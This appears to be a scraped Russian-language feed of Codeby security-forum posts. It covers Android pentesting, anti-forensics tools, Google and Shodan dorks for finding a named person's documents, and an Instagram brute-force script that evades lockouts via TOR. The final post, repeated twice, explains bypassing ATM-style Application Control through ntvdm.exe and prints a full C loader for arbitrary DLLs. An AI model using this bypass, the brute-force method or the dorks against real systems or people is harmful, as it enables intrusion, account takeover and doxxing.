Codeby

​​Немного о пентесте с помощью Android устройства Внимание codeby, вещает Ghost Pants , сегодня мы поговорим о тестировании уязвимостей и манипуляциях в сети с помощью устройства на базе ОС android. А спонсор сегодняшней статьи root права, "root права, да как же их поставить?!", для получения рута зайдите на 4pda и введите в поиск модель вашего телефона, а там поймёте. Читать: https://codeby.net/threads/nemnogo-o-penteste-s-pomoschju-android-ustrojstva.62718/ #android #pentest #hacking

Разработка андроид приложения Необходимо разработать андроид приложение для планирования встреч и совещаний с функциями (записная книжка, менеджмент контактов, планировщик задач, дедлайны по задачам). Приложение должно обладать удобным, интуитивно понятным пользовательским интерфейсом. Разработать формы для ввода данных с клавиатуры. https://freelance.codeby.net/orders/razrabotka-android-prilozhenija-178.html

​​UsbKill. Anti-Forensic Доброго времени суток товарищи, братья и сестры, коллеги). Хочу вас познакомить с такой штучкой как usbkill. Програмка написана на python, код есть на гитхабе. Предполагаемое использование usbkill как инструмент для усложнения работы криминалистам. Читать: https://codeby.net/threads/usbkill-anti-forensic.62719/ #linux #usb #forensics

​​USB Flash [часть 1] – устройство В этом году интерфейсу USB исполнилось ровно 25-лет, а потому предлагаю рассмотреть его реализацию как на уровне архитектуры, так и программную составляющую. Сырая версия 1.0 была опубликована в начале 1996 года, а уже осенью 98-го, мир увидел первую стабильную редакцию v1.1. Однако на практике оказалось, что из шины USB можно выжать намного больший потенциал. Так, в 2000 году была опубликована очередная спецификация USB 2.0, в которой предусмотрено повышение пропускной способности сразу в десятки раз. Это позволило существенно расширить круг подключаемых к шине высоко-скоростных устройств: Читать: https://codeby.net/threads/usb-flash-chast-1-ustrojstvo.77263/ #usb #information

​​Современные web-уязвимости (Html Injection) Публикую перевод ресерчей по книге 2021 года, потому что сам ничего подобного сотворить пока не могу :(. Статьи рассчитаны на средний уровень знаний, однако первая глава простая, затем сложность будет увеличиваться. Вся информация предоставлена исключительно в ознакомительных целях. Автор не несет ответственности за любой возможный вред, причиненный с использованием сведений из этой статьи. Читать: https://codeby.net/threads/sovremennye-web-ujazvimosti-html-injection.77257/ #web #injection #pentest

🔖 S.E.Заметка. OSINT + Дорки. • Google Dorks - мощный инструмент, при помощи которого можно скомпрометировать устройство или найти нужную нам информацию о цели, используя Google и правильный запрос. Так как этот поисковик умеет индексировать все, что подключено к интернету, можно найти файлы, оказавшиеся доступными случайно и содержащие конфиденциальную информацию. Попробуй выполнить поиск и указать ФИО своей цели с заданными параметрами: 1. "ФИО" ext:doc | ext:docx | ext:ppt | ext:pptx | ext:pdf | ext:txt | ext:odt | ext:log Дополнительные сервисы и инструменты: 2. recruitin.net — составляет Google дорки для поиска в LinkedIn, Dribbble, GitHub, Xing, Stack Overflow, Twitter. 3. Очень много интересных дорков для Shodan: https://github.com/jakejarvis/awesome-shodan-queries || https://github.com/robocyber/Shodan-Dorks 4. + 100 дорков Shodan. 5. Инструмент Dorks Eye — использует огромную базу запросов (около 15к) для поиска нужной информации. Полная инструкция по использованию есть тут. #Заметка #OSINT.

📓 Защита сетей. Подход на основе анализа данных. 💬 Традиционных способов обнаружения вторжений и анализа системных журналов уже недостаточно для защиты сложных современных сетей. В данной книге специалист по проблемам безопасности Майкл Коллинз предлагает различные методы и инструменты для сбора и анализа данных о трафике. 💬 Рассматриваются процессы сбора и организации данных, инструменты для их анализа, а также различные аналитические сценарии и методики. Описывается активный контроль и управление трафиком, обнаружение внутренней угрозы, интеллектуальный анализ данных, регрессия и машинном обучении и другие темы. 📌 Скачать #book #network #Сети

​​Instashell - Брутфорс Instagram аккаунтов Всем привет! В этой статье я покажу работу инструмента, который поможет получить доступ к аккаунтам в Instagram путем перебора паролей, его особенностью является обход ограничения на ввод неверных паролей. Instashell - это скрипт для выполнения брутфорс атак на сервис Instagram, скрипт может обойти ограничения на перебор паролей, поэтому он может тестировать бесконечное количество паролей. Скрипт использует Android ApkSignature для выполнения аутентификации, дополнительно используется TOR для изменения IP-адреса после блокировки, для продолжения атаки. Читать: https://codeby.net/threads/instashell-brutfors-instagram-akkauntov.62784/ #kali #instagram #bruteforce

#реклама Чтобы получать больше полезных материалов по ИТ и бизнесу, присоединяйтесь к сообществу @SelectelNews 🦖 https://t.me/SelectelNews/1116

​​Пара полезных программ для поиска дополнительных доменов/сабдоменов (не брутфорс) При анализе цели для пентеста все пользуются теми или иными программами по поиску сабдоменов, так как это увеличивает шансы на успешное проникновение. Это программы по типу Anubis, dirb222 и прочие, смысл работы которых - брутфорс доменов третьего (и выше) уровней по заданному словарю. В данной заметке я опишу 2 другие программы, которые не используют брутфорс, но могут сильно помочь в "расширении кругозора". Читать: https://codeby.net/threads/para-poleznyx-programm-dlja-poiska-dopolnitelnyx-domenov-sabdomenov-ne-brutfors.62913/ #finder #domain

​​Kali Linux. Forensic Tools Приветствую всех пользователей и гостей Сodeby. Специально пропустил слово форум в приветствии, ибо Codeby это уже давно больше чем просто форум, у нас есть уже мобильный клиент на андроид,и IOS, скоро выйдет свой дистрибутив для пентеста, а самое главное дружное сообщество людей которым интересна тема ИБ, это я все к тому что хватит наверное тролить друг друга (камень в этот огород ) и выяснять какая операционная система лучше (камень в этот огород ), везде есть свои плюсы и минусы. Читать: https://codeby.net/threads/kali-linux-forensic-tools.62932/ #kali #linux #forensics

​​Поиск пакетов для Kali Linux С легкостью установки, которые обеспечивает APT, у нас есть выбор среди десятков тысяч пакетов, однако оборотной стороной является то, что у нас есть десятки тысяч пакетов. Выяснить, какие пакеты доступны и найти один, которые нам нужен, может быть сложной задачей, особенно для новичков в Linux. В этой статье мы будем рассматривать три утилиты, которые могут быть использованы для поиска через haystack и помочь вам воспользоваться обширной экосистемой с открытым исходным кодом. Читать: https://codeby.net/threads/poisk-paketov-dlja-kali-linux.63103/ #kali #linux #apt

​​Установка Algo VPN на площадке DO Как и обещал, пишу статью как развернуть VPN с помощью Algo на площадке DO (DigitalOcean). Итак допустим у Вас есть учётка на DO, если нет идем регистрировать. Заходим в Личный кабинет, и создаем свою первую виртуалку. Я выбираю минимальную конфигурацию она мне нужна на 20-25 минут для установки VPN сервера. После настройки и копирования на свой компьютер необходимых файлов, можем смело удалять эту виртуалку! Наш VPN сервер благополучно будет работать. Читать: https://codeby.net/threads/ustanovka-algo-vpn-na-ploschadke-do.63189/ #vpn #virtual

​​🔥 Краткий анализ недавнего исследования целевых атак на Российские НИИ от Dr.Web 🔥 Приветствуем всех читателей @webware. Сегодня мы проведём краткий анализ исследования атак на российские НИИ от Dr.WEB. Если хотите прочитать 60 страниц исследования целиком, здесь страница со ссылкой на скачивание файла pdf, в котором приведено полное содержание отчета по целевым атакам. Осенью 2020 года в вирусную лабораторию «Доктор Веб» поступило обращение от одного из российских научно-исследовательских центров. В ходе расследования было обнаружено, что посторонние пользователи попали в сеть НИИ ещё в 2017 году. Атака была, безусловно, целевая, использовались специализированные бэкдоры для ее осуществления. Кроме того, анализ кода показал, что, вероятнее всего, в сети присутствовала не одна APT-группа. Первая группа попала в инфраструктуру осенью 2017 года, обозначив свое появление установкой BackDoor.Farfli.130, являющимся модификацией известного Gh0st RAT. На этом группировка хакеров не остановились, установив позже Trojan.Mirage.12 в 2019 и BackDoor.Siggen2.3268 в 2020 году. Вторых гостей система НИИ увидела через два года, примерно в апреле 2019 года. Они дали старт заражению, использовав BackDoor.Skeye.1. К слову, он же был позже обнаружен в сети другого НИИ. Если в вышеупомянутых случаях предельно ясны факты «Что? Кто? Когда?» (да, почти как название телевизионной игры), BackDoor.RemShell.24 появился непонятно откуда, то есть непонятно, какая из групп оставила этот бэкдор. На основе имеющихся данных не удалось установить название первой группы, однако анализ используемых вредоносов показал, что действует она с 2015 года. Вторая группа достаточно известна и была описана компанией Proofpoint. Исследователи из Dr.Web считают, что это TA428. Предположение взято не с неба, есть парочка достаточно веских доказательств: ● Ранее BackDoor.Skeye.1 и Trojan.Loader.661 использовались в рамках одной атаки, при этом второй вредонос — инструмент TA428. ● Анализ бэкдоров выявил, что они пересекаются в адресах управляющих серверов и в инфраструктуре сети с бэкдорами, которые использует TA428. На пятой странице документа с исследованием построена полноценная схема связей между использованными в атаке на НИИ вирусами и теми, что обычно использует TA428. Прочитайте отчет целиком, чтобы рассмотреть схемы и сравнение кода из некоторых бэкдоров. В нем же описан принцип действия упомянутых в исследовании программ. До новых встреч!

​​#реклама Антиутопия неизбежна? Большой Брат действительно уже следит за тобой: системы интернет-слежки, блокировки неугодной правительствам информации, корпорации, мониторящие каждый ваш шаг в сети… Но не нужно думать, что наступление “1984” неизбежно. Проект Utopia освобождает интернет, устраняя фундаментальные проблемы Всемирной Паутины. Utopia - это не просто “способ обойти блокировки” - это комплексное децентрализованное решение, включающее в себя защищенный 256-битным шифрованием мессенджер с возможностью создания групповых чатов и отправки файлов, защищенный email-сервис, свой сервис DNS и даже свою криптовалюту. Никаких блокировок и никакой слежки!

​​4 шага, которые необходимо предпринять для защиты своего ПК/ноутбука от угроз безопасности Учитывая факт того, что в наше время компьютеры используются практически в каждом доме, это привело к разработке множества типов и методов взлома различными антисоциальными элементами. Основным способом, который служит идеальным средством для таких вредоносных атак, является интернет. Существует несколько главных способов, используя которые вы можете защитить ваш ПК/ноутбук от различного рода угроз безопасности, включая активное использование эффективного антивирусного программного обеспечения, антишпионского программного обеспечения, а также установку брандмауэра и других средств защиты подобного рода. Всегда лучше ознакомиться с различными независимыми источниками и объективными обзорами данных продуктов, прежде чем использовать их. Более того, использование одного метода по отдельности не сможет обеспечить вашему компьютеру достаточную безопасность. Чем больше пластов защиты вы установите на свой компьютер, тем больше вы усложните работу хакерам, желающих взломать ваш ПК. Итак, давайте познакомим вас с четырьмя основными шагами, которые необходимо проделать, чтобы защитить ваш компьютер/ноутбук от различного рода угроз безопасности. Читать: https://codeby.net/threads/4-shaga-kotorye-neobxodimo-predprinjat-dlja-zaschity-svoego-pk-noutbuka-ot-ugroz-bezopasnosti.63262/ #security #virus

6 эффективных способов бесплатного продвижения ютуб-канала в 2021 году Продвигать ютуб-канал можно платными и бесплатными способами. Есть ошибочное мнение, что без первоначального бюджета невозможно быть успешнее конкурентов и завоевать аудиторию. Разберем, какие способы бесплатного продвижения используются для достижения ощутимых результатов в 2021 году. Читать https://freelance.codeby.net/blog/6-effektivnyh-sposobov-besplatnogo-prodvizheniya-yutub-kanala-v-2021-godu/ #Freelance

​​[Анти-Форензика] 12 бесплатных инструментов, которые навсегда удалят файлы с вашего компьютера и сделают невозможным их восстановление 1. WipeFile. WipeFile является портативным приложением, которое быстро и безопасно стирает файлы и папки. Данное приложение поддерживает 14 различных методов очистки, например, два стандарта, которые использует ВМС США, стандарт Министерства обороны США, ВВС США и НАТО. WipeFile полностью перезаписывает информацию, поэтому не существует какого-либо способа восстановить файлы либо их содержимое. 2. Eraser. Eraser навсегда удаляет файлы, папки и их ранее удаленные копии. Он перезаписывает файлы, которые были удалены, абсолютно случайными данными. Читать: https://codeby.net/threads/anti-forenzika-12-besplatnyx-instrumentov-kotorye-navsegda-udaljat-fajly-s-vashego-kompjutera-i-sdelajut-nevozmozhnym-ix-vosstanovlenie.63419/ #security #forensics #tools

​​🔥 Обход Application Control 🔥 Вы когда-нибудь задумывались о том, как устроена защита банкоматов? Сегодня рассказываем о защите банкомато-подобных устройств и её обходе. Как, возможно, Вы знаете, на такие устройства ставят различного рода системы, от дремучих до последних версий десятки. В системе работает ряд приложений банковской направленности, и защита, разумеется. Имя этой защите — Application Control. Проверка приложений осуществляется по признакам: ✔️ путь к исполняемому файлу; ✔️ контрольная сумма; ✔️ криптографическая подпись; ✔️ белый/черный список; ✔️ позволение использования только файлов с определёнными расширениями. Эти способы используются, дополняя друг друга. Теперь о методах их обходов: ✔️ выполнение из-под доверенных приложений; ✔️ одинаковые контрольные суммы; ✔️ подмена DLL. Хотелось бы уточнить, почему в начале мы использовали выражение «банкомато-подобные», — это возможность использования Application Control не только на банкоматах, что логично. Теперь к той части поста, который расскажет об обходе системы. Задействуем способ с выполнением из-под приложения, являющегося доверенным, в нашем случае это ntvdm.exe. В современных x86-системах Windows в контексте ntvdm можно исполнить 16-ти разрядное приложение. Нужно поднять виртуалку на Windows 95 и установить туда Microsoft Visual C 1.52c — последнюю версию, которая поддерживала сборку 16bit приложений:

 <Windows.h>
DECLARE_HANDLE32(HPROC32);
DECLARE_HANDLE32(HINSTANCE32);

int main(int argc, char** argv)
{
 HMODULE hModule;
 HINSTANCE32 hDll;
 HINSTANCE32 (WINAPI *LoadLibraryEx32W) (LPCSTR, DWORD, DWORD);
 BOOL (WINAPI *FreeLibrary32W) (HINSTANCE32);
 printf("begin" "\n");
    if(argc != 2)
 {
  printf("Usage: loader.exe my.dll" "\n");
  return 1;
 }
 hModule = GetModuleHandle("KERNEL");
 if(!hModule)
 {
  printf("GetModuleHandle - %08X" "\n", hModule);
  return 1;
 } 
 (FARPROC) LoadLibraryEx32W = GetProcAddress(hModule, "LoadLibraryEx32W");
 (FARPROC) FreeLibrary32W = GetProcAddress(hModule, "FreeLibrary32W");
 if(!LoadLibraryEx32W || !FreeLibrary32W)
 {
  printf("GetProcAddress - %08X, %08X" "\n", LoadLibraryEx32W,FreeLibrary32W);
  return 1;
 }
 hDll = LoadLibraryEx32W(argv[1], 0, 0);
 if(!hDll)
 {
  printf("LoadLibraryEx32W - %08X" "\n", hDll);
  return 1;
 }
 getchar();
 FreeLibrary32W(hDll);
 printf("end" "\n");
 return 0;
}

Далее необходимо собрать это в исполняемый файл. Выбираем формат QuickWin, так как он не требует создания проекта. Получившийся файл скидывается на целевую систему и запускается, в качестве аргумента дается имя 32bit динамической библиотеки, которая должна находиться в той же папке. Это может быть любая библиотека — от выводящей Hello World до чего угодно. Чтобы противостоять угрозам, требуется «смотреть им в лицо», так что рассматривайте приведенный код с точки зрения противостояния ему. До новых встреч!

​​🔥 Обход Application Control 🔥 Вы когда-нибудь задумывались о том, как устроена защита банкоматов? Сегодня рассказываем о защите банкомато-подобных устройств и её обходе. Как, возможно, Вы знаете, на такие устройства ставят различного рода системы, от дремучих до последних версий десятки. В системе работает ряд приложений банковской направленности, и защита, разумеется. Имя этой защите — Application Control. Проверка приложений осуществляется по признакам: ✔️ путь к исполняемому файлу; ✔️ контрольная сумма; ✔️ криптографическая подпись; ✔️ белый/черный список; ✔️ позволение использования только файлов с определёнными расширениями. Эти способы используются, дополняя друг друга. Теперь о методах их обходов: ✔️ выполнение из-под доверенных приложений; ✔️ одинаковые контрольные суммы; ✔️ подмена DLL. Хотелось бы уточнить, почему в начале мы использовали выражение «банкомато-подобные», — это возможность использования Application Control не только на банкоматах, что логично. Теперь к той части поста, который расскажет об обходе системы. Задействуем способ с выполнением из-под приложения, являющегося доверенным, в нашем случае это ntvdm.exe. В современных x86-системах Windows в контексте ntvdm можно исполнить 16-ти разрядное приложение. Нужно поднять виртуалку на Windows 95 и установить туда Microsoft Visual C 1.52c — последнюю версию, которая поддерживала сборку 16bit приложений:

 <Windows.h>
DECLARE_HANDLE32(HPROC32);
DECLARE_HANDLE32(HINSTANCE32);

int main(int argc, char** argv)
{
 HMODULE hModule;
 HINSTANCE32 hDll;
 HINSTANCE32 (WINAPI *LoadLibraryEx32W) (LPCSTR, DWORD, DWORD);
 BOOL (WINAPI *FreeLibrary32W) (HINSTANCE32);
 printf("begin" "\n");
    if(argc != 2)
 {
  printf("Usage: loader.exe my.dll" "\n");
  return 1;
 }
 hModule = GetModuleHandle("KERNEL");
 if(!hModule)
 {
  printf("GetModuleHandle - %08X" "\n", hModule);
  return 1;
 } 
 (FARPROC) LoadLibraryEx32W = GetProcAddress(hModule, "LoadLibraryEx32W");
 (FARPROC) FreeLibrary32W = GetProcAddress(hModule, "FreeLibrary32W");
 if(!LoadLibraryEx32W || !FreeLibrary32W)
 {
  printf("GetProcAddress - %08X, %08X" "\n", LoadLibraryEx32W,FreeLibrary32W);
  return 1;
 }
 hDll = LoadLibraryEx32W(argv[1], 0, 0);
 if(!hDll)
 {
  printf("LoadLibraryEx32W - %08X" "\n", hDll);
  return 1;
 }
 getchar();
 FreeLibrary32W(hDll);
 printf("end" "\n");
 return 0;
}

Далее необходимо собрать это в исполняемый файл. Выбираем формат QuickWin, так как он не требует создания проекта. Получившийся файл скидывается на целевую систему и запускается, в качестве аргумента дается имя 32bit динамической библиотеки, которая должна находиться в той же папке. Это может быть любая библиотека — от выводящей Hello World до чего угодно. Чтобы противостоять угрозам, требуется «смотреть им в лицо», так что рассматривайте приведенный код с точки зрения противостояния ему. До новых встреч!